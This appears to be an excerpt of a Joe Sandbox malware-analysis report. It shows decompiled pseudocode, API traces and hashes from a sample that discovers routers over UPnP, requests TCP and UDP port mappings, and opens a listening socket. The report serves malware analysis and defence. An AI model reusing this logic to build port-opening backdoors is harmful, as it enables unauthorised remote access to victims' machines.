0x00405ac2
0x00000000
0x00405aaa
0x00000000
0x00405a94
0x00405a0b
0x00405a0f
0x00405a1d
0x00405a62
0x00405a72
0x00405a1f
0x00405a1f
0x00405a36
0x00405a3a
0x00405a50
0x00405a50
0x00405a52
0x00405a74
0x00000000
0x00405a0f
0x00000000
0x004059dc
0x00000000
0x004059c1
0x00000000
0x004059b3
0x00000000
0x00405998
0x00000000
0x0040597d
0x00000000

APIs

Part of subcall function 004058C0: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 004058E0

SysFreeString.OLEAUT32(00000000), ref: 00405B28

Strings

Microsoft Corporation, xrefs: 00405A96

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 5101201dcff8a4348e4f4b8b21c8e9287c00567db6cdf25e3dc099c263020228
Instruction ID: b966d8a815279bea9682a753b9e4a3ce538f0dcc0c86578e863b9189ac0295eb
Opcode Fuzzy Hash: 5101201dcff8a4348e4f4b8b21c8e9287c00567db6cdf25e3dc099c263020228
Instruction Fuzzy Hash: 1691BA75A0050ADFCB04DB98C994EAFB7B5EF88304F208269E515B73A0D778AE41CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0040CC30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0040CC30(char* _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _v20;
				void* _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _t44;
				intOrPtr* _t46;
				intOrPtr _t59;
				intOrPtr _t62;
				void* _t88;
				void* _t89;
				void* _t90;

				_v16 = 0;
				_t44 = E0040C260(_a4,  &_v8);
				_t89 = _t88 + 8;
				_v12 = _t44;
				if(_v12 != 0) {
					_t46 = E0040C000(_v12);
					_t90 = _t89 + 4;
					_v20 = _t46;
					if(_v20 != 0) {
						_v24 = 0;
						_push( &_v24);
						_push(_v20);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xb4))))() == 0 && _v24 != 0) {
							_v28 = 0;
							_push( &_v28);
							_push(_v24);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x30))))() == 0 && _v28 != 0) {
								_t59 = E0040CBE0(_v28);
								_t90 = _t90 + 4;
								_v32 = _t59;
								if(_v32 != 0) {
									_t62 = E0040CAC0(_v28);
									_t90 = _t90 + 4;
									_v36 = _t62;
									if(_v36 != 0) {
										E0040B3E0( &_v16, "%S%S", _v32);
										_t90 = _t90 + 0x10;
										__imp__#6(_v36, _v36);
									}
									__imp__#6(_v32);
								}
								 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
							}
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
						}
						 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
					}
					E00408C70(_v12);
				}
				return _v16;
			}

0x0040cc36
0x0040cc45
0x0040cc4a
0x0040cc4d
0x0040cc54
0x0040cc5e
0x0040cc63
0x0040cc66
0x0040cc6d
0x0040cc73
0x0040cc7d
0x0040cc86
0x0040cc91
0x0040cca1
0x0040ccab
0x0040ccb4
0x0040ccbc
0x0040ccc8
0x0040cccd
0x0040ccd0
0x0040ccd7
0x0040ccdd
0x0040cce2
0x0040cce5
0x0040ccec
0x0040ccff
0x0040cd04
0x0040cd0b
0x0040cd0b
0x0040cd15
0x0040cd15
0x0040cd27
0x0040cd27
0x0040cd35
0x0040cd35
0x0040cd43
0x0040cd43
0x0040cd49
0x0040cd4e
0x0040cd57

APIs

Part of subcall function 0040C260: memset.NTDLL ref: 0040C288
Part of subcall function 0040C260: InternetCrackUrlA.WININET(0040D079,00000000,10000000,0000003C), ref: 0040C2D8
Part of subcall function 0040C260: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C2E8
Part of subcall function 0040C260: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C321
Part of subcall function 0040C260: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C357
Part of subcall function 0040C260: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C37F
Part of subcall function 0040C260: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C3C8
Part of subcall function 0040C260: InternetCloseHandle.WININET(00000000), ref: 0040C457

Part of subcall function 0040C000: SysAllocString.OLEAUT32(00000000), ref: 0040C02E
Part of subcall function 0040C000: CoCreateInstance.OLE32(00410318,00000000,00004401,00410308,00000000), ref: 0040C056
Part of subcall function 0040C000: SysFreeString.OLEAUT32(00000000), ref: 0040C0F1

SysFreeString.OLEAUT32(00000000), ref: 0040CD0B
SysFreeString.OLEAUT32(00000000), ref: 0040CD15

Strings

%S%S, xrefs: 0040CCF6

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 86f6504e5494efba9a820ad851abc2735c65b1deacf7d2d6193f3942743fcb34
Instruction ID: f6c0dd48525cf9db1308fcfd74a329a1c42d5f2fc6292bf47869dbcd9c674937
Opcode Fuzzy Hash: 86f6504e5494efba9a820ad851abc2735c65b1deacf7d2d6193f3942743fcb34
Instruction Fuzzy Hash: BB4129B5E00109DFDB04DBE4D885AEFB7B9BF88304F104669E505B7390D738AA45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D020 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040D020() {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _t20;
				intOrPtr _t26;
				intOrPtr _t31;
				void* _t36;
				void* _t37;

				__imp__CoInitializeEx(0, 2);
				_v12 = 0;
				_t20 = E0040C580( &_v12,  &_v12);
				_t37 = _t36 + 4;
				_v8 = _t20;
				if(_v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_t20 = E0040CC30( *((intOrPtr*)(_v12 + _v16 * 4)));
						_t37 = _t37 + 4;
						 *0x416e24 = _t20;
						if( *0x416e24 == 0) {
							_v16 = _v16 + 1;
							continue;
						}
						_v20 = E00409540();
						_t31 =  *0x416e24; // 0x0
						E0040CFA0(_t31, _t31, "TCP", 0x9e34, _v20);
						_t26 =  *0x416e24; // 0x0
						_t20 = E0040CFA0(_t31, _t26, "UDP", 0x9e34, _v20);
						_t37 = _t37 + 0x20;
						break;
					}
					return E00408D90(_t20, _v8, _v12, _v8);
				}
				return _t20;
			}

0x0040d02a
0x0040d030
0x0040d03b
0x0040d040
0x0040d043
0x0040d04a
0x0040d050
0x0040d062
0x0040d074
0x0040d079
0x0040d07c
0x0040d088
0x0040d05f
0x00000000
0x0040d05f
0x0040d08f
0x0040d0a0
0x0040d0a7
0x0040d0bd
0x0040d0c3
0x0040d0c8
0x00000000
0x0040d0c8
0x00000000
0x0040d0dc
0x0040d0e2

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,00406528), ref: 0040D02A

Part of subcall function 0040C580: socket.WS2_32(00000002,00000002,00000011), ref: 0040C59A
Part of subcall function 0040C580: htons.WS2_32(0000076C), ref: 0040C5D0
Part of subcall function 0040C580: inet_addr.WS2_32(239.255.255.250), ref: 0040C5DF
Part of subcall function 0040C580: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C5FD
Part of subcall function 0040C580: bind.WS2_32(000000FF,?,00000010), ref: 0040C633
Part of subcall function 0040C580: lstrlenA.KERNEL32(00410578,00000000,?,00000010), ref: 0040C64C
Part of subcall function 0040C580: sendto.WS2_32(000000FF,00410578,00000000), ref: 0040C65B
Part of subcall function 0040C580: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C675

Part of subcall function 0040CC30: SysFreeString.OLEAUT32(00000000), ref: 0040CD0B
Part of subcall function 0040CC30: SysFreeString.OLEAUT32(00000000), ref: 0040CD15

Strings

UDP, xrefs: 0040D0B8
TCP, xrefs: 0040D09B

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: 014f018b2ad0d604453ca6d4d42fb9b10cc54ad83f4ff0cd62ecb7ebe3116a6f
Instruction ID: d6482cf8f8518ba90fc7d027882e0c52926dc77542800e56e9404f82e9eb0b53
Opcode Fuzzy Hash: 014f018b2ad0d604453ca6d4d42fb9b10cc54ad83f4ff0cd62ecb7ebe3116a6f
Instruction Fuzzy Hash: E811E4B4D01208EBD700EFE4EC45BAE7775AB04308F10866EE505772C2E679AE45CB5A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sysesvcmw.exePID: 7432, Parent PID: 7344COMMON

Execution Graph

Execution Coverage:	13.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1449
Total number of Limit Nodes:	34

Executed Functions

Function 0040EB00 Relevance: 16.6, APIs: 11, Instructions: 129
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E0040EB00(void* __esi) {
				struct _SYSTEM_INFO _v36;
				short _v40;
				char _v77;
				short _v82;
				short _v86;
				short _v90;
				short _v92;
				short _v94;
				short _v96;
				short _v98;
				char _v100;
				void* __edi;
				intOrPtr* _t30;
				void* _t33;
				void* _t36;
				intOrPtr _t37;
				short _t39;
				intOrPtr _t40;
				intOrPtr* _t54;
				void* _t56;
				void* _t58;
				void* _t59;

				_t30 = E00408B00(0x4c);
				_t54 = _t30;
				_t59 = _t58 + 4;
				if(_t54 == 0) {
					return _t30;
				} else {
					 *_t54 = 0x494f4350; // executed
					GetSystemInfo( &_v36); // executed
					_t45 = _v36.dwNumberOfProcessors;
					_t3 = _t54 + 0x20; // 0x20
					 *((intOrPtr*)(_t54 + 4)) = _v36.dwNumberOfProcessors + _t45;
					InitializeCriticalSection(_t3);
					_t33 = CreateEventA(0, 1, 0, 0);
					 *(_t54 + 0x10) = _t33;
					if(_t33 == 0) {
						L12:
						E0040E0E0(_t54);
						return 0;
					}
					_t36 = CreateIoCompletionPort(0xffffffff, 0, 0, 0);
					 *(_t54 + 8) = _t36;
					if(_t36 == 0) {
						goto L12;
					}
					_t37 = E0040BAF0(_t45);
					 *((intOrPtr*)(_t54 + 0xc)) = _t37;
					if(_t37 == 0) {
						goto L12;
					}
					__imp__WSASocketA(2, 1, 6, 0, 0, 1); // executed
					 *((intOrPtr*)(_t54 + 0x14)) = _t37;
					if(_t37 == 0xffffffff) {
						goto L12;
					}
					_v77 = 1;
					__imp__#21(_t37, 0xffff, 4,  &_v77, 1); // executed
					_v94 = 0;
					_v90 = 0;
					_v86 = 0;
					_v82 = 0;
					_t39 = _v40;
					_v96 = 2;
					_v92 = _t39;
					__imp__#9(_v36.dwOemId);
					_v98 = _t39;
					_t40 =  *((intOrPtr*)(_t54 + 0x14));
					__imp__#2(_t40,  &_v100, 0x10); // executed
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__#13( *((intOrPtr*)(_t54 + 0x14)), 0x7fffffff); // executed
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__WSACreateEvent();
					 *((intOrPtr*)(_t54 + 0x18)) = _t40;
					if(_t40 == 0) {
						goto L12;
					}
					__imp__WSAEventSelect( *((intOrPtr*)(_t54 + 0x14)), _t40, 8); // executed
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					_t56 = 0;
					if( *((intOrPtr*)(_t54 + 4)) > 0) {
						do {
							E0040BBA0( *((intOrPtr*)(_t54 + 0xc)), 0, E0040EA30, _t54, 0, 0); // executed
							_t56 = _t56 + 1;
							_t59 = _t59 + 0x18;
						} while (_t56 <  *((intOrPtr*)(_t54 + 4)));
					}
					E0040BBA0( *((intOrPtr*)(_t54 + 0xc)), 0, E0040E400, _t54, 0, 0); // executed
					return _t54;
				}
			}

APIs

GetSystemInfo.KERNELBASE(?), ref: 0040EB23
InitializeCriticalSection.KERNEL32(00000020), ref: 0040EB37
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040EB45
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040EB5E

Part of subcall function 0040BAF0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040BB0E

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 0040EB8B
setsockopt.WS2_32 ref: 0040EBB1
htons.WS2_32(?), ref: 0040EBE1
bind.WS2_32(?,00000004,00000010), ref: 0040EBF7
listen.WS2_32(?,7FFFFFFF), ref: 0040EC0F
WSACreateEvent.WS2_32 ref: 0040EC1A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040EC2E

Part of subcall function 0040BBA0: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BBC4
Part of subcall function 0040BBA0: CreateThread.KERNELBASE(00000000,?,00000000,?,00000000,?), ref: 0040BC1F
Part of subcall function 0040BBA0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BC5C
Part of subcall function 0040BBA0: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BC67
Part of subcall function 0040BBA0: DuplicateHandle.KERNEL32(00000000), ref: 0040BC6E
Part of subcall function 0040BBA0: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BC82

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: 35c833f7b889afcd1c855e48f5f4dfb3cfebec0e696530983b6abda77ec0d31a
Instruction ID: 55e3d3791406c7558891e3ce563330e9b7b343d865a5bfb51454dd4e2dcce5d3
Opcode Fuzzy Hash: 35c833f7b889afcd1c855e48f5f4dfb3cfebec0e696530983b6abda77ec0d31a
Instruction Fuzzy Hash: 65419270644302BBE3209F758C4AF46B7A5BF44710F108A2AF568E62D0E7B5E454CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C580 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040C59A
htons.WS2_32(0000076C), ref: 0040C5D0
inet_addr.WS2_32(239.255.255.250), ref: 0040C5DF
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C5FD

Part of subcall function 00409540: htons.WS2_32(00000050), ref: 0040956D
Part of subcall function 00409540: socket.WS2_32(00000002,00000001,00000000), ref: 0040958D
Part of subcall function 00409540: connect.WS2_32(000000FF,?,00000010), ref: 004095A6
Part of subcall function 00409540: getsockname.WS2_32(000000FF,?,00000010), ref: 004095D8

bind.WS2_32(000000FF,?,00000010), ref: 0040C633
lstrlenA.KERNEL32(00410578,00000000,?,00000010), ref: 0040C64C
sendto.WS2_32(000000FF,00410578,00000000), ref: 0040C65B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C675

Part of subcall function 0040C490: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C4DE
Part of subcall function 0040C490: Sleep.KERNELBASE(000003E8), ref: 0040C4EE
Part of subcall function 0040C490: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C50B
Part of subcall function 0040C490: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C521
Part of subcall function 0040C490: StrChrA.SHLWAPI(?,0000000D), ref: 0040C54E

Strings

239.255.255.250, xrefs: 0040C5DA

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: bc372376455bd7999416a1e07122edefff59cd2e974b536031894a41811314e4
Instruction ID: 76d768ee63a1ab765bf53bd3b80837b0909e15b9bb20e5c949896882321ca4fe
Opcode Fuzzy Hash: bc372376455bd7999416a1e07122edefff59cd2e974b536031894a41811314e4
Instruction Fuzzy Hash: 3C4106B4E00208EBDB14DFE4D889BEEBBB5AF48304F108569E505B7290E7B55A44CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D8A0 Relevance: 9.1, APIs: 6, Instructions: 77
networkthreadCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E0040D8A0(intOrPtr __edi, void* __esi) {
				short _v8;
				short _v14;
				short _v18;
				short _v22;
				short _v24;
				short _v26;
				short _v28;
				short _v30;
				char _v33;
				char _v52;
				void* __ebx;
				void* _t21;
				short _t24;
				void* _t25;
				void* _t26;
				void* _t30;
				void* _t31;
				intOrPtr _t38;
				void* _t39;

				_t39 = __esi;
				_t38 = __edi;
				if(__esi == 0 || __edi == 0) {
					return 0;
				} else {
					_t31 = E00408B00(0x24);
					 *_t31 = 0x756470;
					 *(_t31 + 4) = 0;
					_t21 = CreateEventA(0, 1, 0, 0);
					 *(_t31 + 0x10) = _t21;
					__imp__#23(2, 2, 0x11, _t30); // executed
					 *(_t31 + 8) = _t21;
					if(_t21 == 0xffffffff) {
						E0040DD00(_t31, __edi);
						_t31 = 0;
					}
					if(_t31 == 0) {
						L8:
						return _t31;
					}
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_t24 = _v8;
					_v24 = _t24;
					_v28 = 2;
					__imp__#9(_t39);
					_v30 = _t24;
					_v33 = 1;
					_t25 =  *(_t31 + 8);
					__imp__#21(_t25, 0xffff, 4,  &_v33, 1); // executed
					__imp__#2( *(_t31 + 8),  &_v52, 0x10); // executed
					if(_t25 != 0xffffffff) {
						 *((intOrPtr*)(_t31 + 0xc)) = _t38;
						_t26 = CreateThread(0, 0, E0040DAD0, _t31, 0, 0); // executed
						 *(_t31 + 0x14) = _t26;
						goto L8;
					}
					E0040DD00(_t31, _t38);
					return 0;
				}
			}

0x0040d8a0
0x0040d8a0
0x0040d8a8
0x0040d994
0x0040d8b6
0x0040d8c5
0x0040d8cb
0x0040d8d1
0x0040d8d8
0x0040d8e4
0x0040d8e7
0x0040d8ed
0x0040d8f3
0x0040d8f5
0x0040d8fa
0x0040d8fa
0x0040d8fe
0x0040d98e
0x00000000
0x0040d990
0x0040d906
0x0040d90a
0x0040d90e
0x0040d912
0x0040d917
0x0040d921
0x0040d925
0x0040d92a
0x0040d939
0x0040d93e
0x0040d943
0x0040d94c
0x0040d95d
0x0040d966
0x0040d982
0x0040d985
0x0040d98b
0x00000000
0x0040d98b
0x0040d968
0x0040d973
0x0040d973

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040D8D8
socket.WS2_32(00000002,00000002,00000011), ref: 0040D8E7
htons.WS2_32(00009E34), ref: 0040D92A
setsockopt.WS2_32(?,0000FFFF), ref: 0040D94C
bind.WS2_32(?,00000004,00000010), ref: 0040D95D

Part of subcall function 0040DD00: SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
Part of subcall function 0040DD00: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
Part of subcall function 0040DD00: CloseHandle.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD27

CreateThread.KERNELBASE(00000000,00000000,Function_0000DAD0,00000000,00000000,00000000), ref: 0040D985

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 2d911b1bbcf8aa9228971664239ddae190cfab587872b89484cf3d1e1edbad1a
Instruction ID: 030b81ab5cfdece744e4193ec97e607ba68bdf4ca273294f478105adee985cb3
Opcode Fuzzy Hash: 2d911b1bbcf8aa9228971664239ddae190cfab587872b89484cf3d1e1edbad1a
Instruction Fuzzy Hash: A721A1B4A44301AFE710DFA48C8AB577AA0EF44710F50857AFA54DA2C1D7F4C9488B6A

Uniqueness

Uniqueness Score: -1.00%

Function 00409540 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
networkCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409540() {
				intOrPtr _v8;
				short _v10;
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				char _v24;
				intOrPtr _v28;
				short _v30;
				short _v34;
				short _v38;
				intOrPtr _v40;
				short _v42;
				char _v44;
				char _v48;
				intOrPtr _t28;
				char* _t30;

				_v8 = 0xffffffff;
				_v24 = 0;
				_v22 = 0;
				_v18 = 0;
				_v14 = 0;
				_v10 = 0;
				_v24 = 2;
				__imp__#9(0x50);
				_v22 = 0;
				_t28 = E00409500("www.update.microsoft.com"); // executed
				_v20 = _t28;
				__imp__#23(2, 1, 0); // executed
				_v28 = _t28;
				if(_v28 != 0xffffffff) {
					_t30 =  &_v24;
					__imp__#4(_v28, _t30, 0x10); // executed
					if(_t30 == 0) {
						_v44 = 0;
						_v42 = 0;
						_v38 = 0;
						_v34 = 0;
						_v30 = 0;
						_v48 = 0x10;
						__imp__#6(_v28,  &_v44,  &_v48); // executed
						_v8 = _v40;
					}
					E00409600(_v28); // executed
				}
				return _v8;
			}

APIs

htons.WS2_32(00000050), ref: 0040956D

Part of subcall function 00409500: inet_addr.WS2_32(00409581), ref: 0040950A
Part of subcall function 00409500: gethostbyname.WS2_32(?), ref: 0040951D

socket.WS2_32(00000002,00000001,00000000), ref: 0040958D
connect.WS2_32(000000FF,?,00000010), ref: 004095A6
getsockname.WS2_32(000000FF,?,00000010), ref: 004095D8

Strings

www.update.microsoft.com, xrefs: 00409577

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 3133bfd0ff6c1cc1bf6a6429f4e0b0bd3f77c76321baf638f74cae633aa49c80
Instruction ID: 389a469d72f566baadd69971dc4dec0fd14d74987819c9d890e36e211f91e18c
Opcode Fuzzy Hash: 3133bfd0ff6c1cc1bf6a6429f4e0b0bd3f77c76321baf638f74cae633aa49c80
Instruction Fuzzy Hash: FD210EB5D14309ABCB04DFE4D846AEFBBB4AF48310F108169E505F3390E7745A44CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040A870 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040A870(void* __ecx, BYTE* _a4, int _a8) {
				char _v8;
				char* _t6;

				_t1 =  &_v8; // 0x406545
				_t6 = _t1;
				__imp__CryptAcquireContextW(_t6, 0, 0, 1, 0xf0000040, __ecx); // executed
				if(_t6 != 0) {
					_t4 =  &_v8; // 0x406545
					CryptGenRandom( *_t4, _a8, _a4);
					_t5 =  &_v8; // 0x406545
					return CryptReleaseContext( *_t5, 0);
				}
				return _t6;
			}

0x0040a87f
0x0040a87f
0x0040a883
0x0040a88b
0x0040a895
0x0040a899
0x0040a8a1
0x00000000
0x0040a8a5
0x0040a8ae

APIs

CryptAcquireContextW.ADVAPI32(Ee@,00000000,00000000,00000001,F0000040,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A883
CryptGenRandom.ADVAPI32(Ee@,?,00000000,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A899
CryptReleaseContext.ADVAPI32(Ee@,00000000,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A8A5

Strings

Ee@, xrefs: 0040A87F, 0040A895, 0040A8A1, 0040A882, 0040A898, 0040A8A4

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: Ee@
API String ID: 1815803762-3880142923
Opcode ID: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
Instruction ID: 1edff0947e8a0bec857b7d5bc171d56b6abde249d8757a471d495e886690916f
